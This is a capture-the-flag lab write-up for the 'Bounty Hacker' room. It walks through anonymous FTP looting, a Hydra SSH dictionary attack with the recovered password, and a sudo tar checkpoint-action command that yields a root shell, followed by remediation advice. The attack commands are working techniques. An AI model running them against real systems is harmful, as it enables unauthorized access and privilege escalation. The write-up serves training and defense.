← Back to all writeups
CTFroomEasyOS: Linux (Ubuntu)Target IP: 10.10.222.14

CTFroom: Bounty Hacker — Anonymous FTP, Hydra & Sudo Tar Wildcard Exploitation

Investigating an anonymous FTP server to extract task logs and password lists, executing an SSH dictionary attack with Hydra, and escalating privileges to root via an insecure tar wildcard checkpoint command in sudoers.

Published: 2026-03-26·Est. 8 min read·Author: GomezGani Shaba
FTP AnonymousHydraRockyouSudo Tar WildcardGTFOBinsLinux PrivEsc

Challenge Overview

Bounty Hacker is a Cowboy Bebop-themed penetration testing room. It highlights credential exposure through unauthenticated FTP services, targeted SSH brute-forcing using custom wordlists, and abusing Unix utility wildcard parsing in sudo configurations.


Phase 1: Port Scanning & Anonymous FTP

bashterminal / script
nmap -sV -sC -p- --min-rate 4000 10.10.222.14

Discovered services:

  • Port 21 (FTP): vsftpd 3.0.3 (Anonymous FTP login allowed)
  • Port 22 (SSH): OpenSSH 7.2p2 Ubuntu
  • Port 80 (HTTP): Apache httpd 2.4.18
  • We connect to the FTP server anonymously:

    bashterminal / script
    ftp 10.10.222.14
    Name: anonymous
    Password: [Press Enter]
    ftp> ls
    -rw-rw-r--    1 1000     1000          418 Jun 07  2020 locks.txt
    -rw-rw-r--    1 1000     1000           68 Jun 07  2020 task.txt
    ftp> mget *

    Analyzing Recovered Artifacts:

    bashterminal / script
    cat task.txt
    # 1. Submit list of possible passwords to vicious...
    # 2. Plan future bounty hunting...
    # Written by: lin
    
    cat locks.txt
    # Contains a targeted 26-word list of possible passwords!

    We now have a verified username (lin) and a custom password dictionary (locks.txt).


    Phase 2: Targeted SSH Password Spraying with Hydra

    We execute a fast dictionary attack against the SSH service:

    bashterminal / script
    hydra -l lin -P locks.txt ssh://10.10.222.14 -t 4

    Result:

    textterminal / script
    [22][ssh] host: 10.10.222.14   login: lin   password: RedDragonEntering

    We authenticate via SSH:

    bashterminal / script
    ssh lin@10.10.222.14
    lin@bountyhacker:~$ whoami
    lin

    User flag recovered:

    bashterminal / script
    cat ~/user.txt

    Phase 3: Sudo Tar Wildcard Exploitation

    We inspect our user's sudo capabilities:

    bashterminal / script
    sudo -l

    Output:

    textterminal / script
    Matching Defaults entries for lin on bountyhacker:
        env_reset, mail_fallback
    
    User lin may run the following commands on bountyhacker:
        (root) /bin/tar

    User lin can run /bin/tar as root with no restrictions.

    Understanding Tar Command Injection via Checkpoints:

    GNU tar includes command-line options designed to execute shell scripts for progress reporting:

  • --checkpoint=1
  • --checkpoint-action=exec=<COMMAND>
  • When tar is invoked with wildcards (tar -cf backup.tar *) in a directory containing filenames crafted like command flags, tar parses those filenames as command-line arguments!

    Alternatively, because we have direct execution rights over /bin/tar in sudoers, we can call checkpoint actions directly:

    bashterminal / script
    sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

    Execution:

    textterminal / script
    lin@bountyhacker:~$ sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    tar: /dev/null: Cannot stat: No such file or directory
    # whoami
    root
    # id
    uid=0(root) gid=0(root) groups=0(root)

    We are root. We retrieve the root flag at /root/root.txt.


    Defense Remediation

  • Disable Anonymous FTP Access: Configure anonymous_enable=NO in /etc/vsftpd.conf.
  • Never Whitelist Generic Archive Utilities in Sudoers: Tools like tar, zip, gzip, and find have built-in execution primitives documented on GTFOBins.
  • Use Explicit Sudo Wrappers: If non-root users require archiving capabilities, wrap tar commands in immutable shell scripts with hardcoded arguments.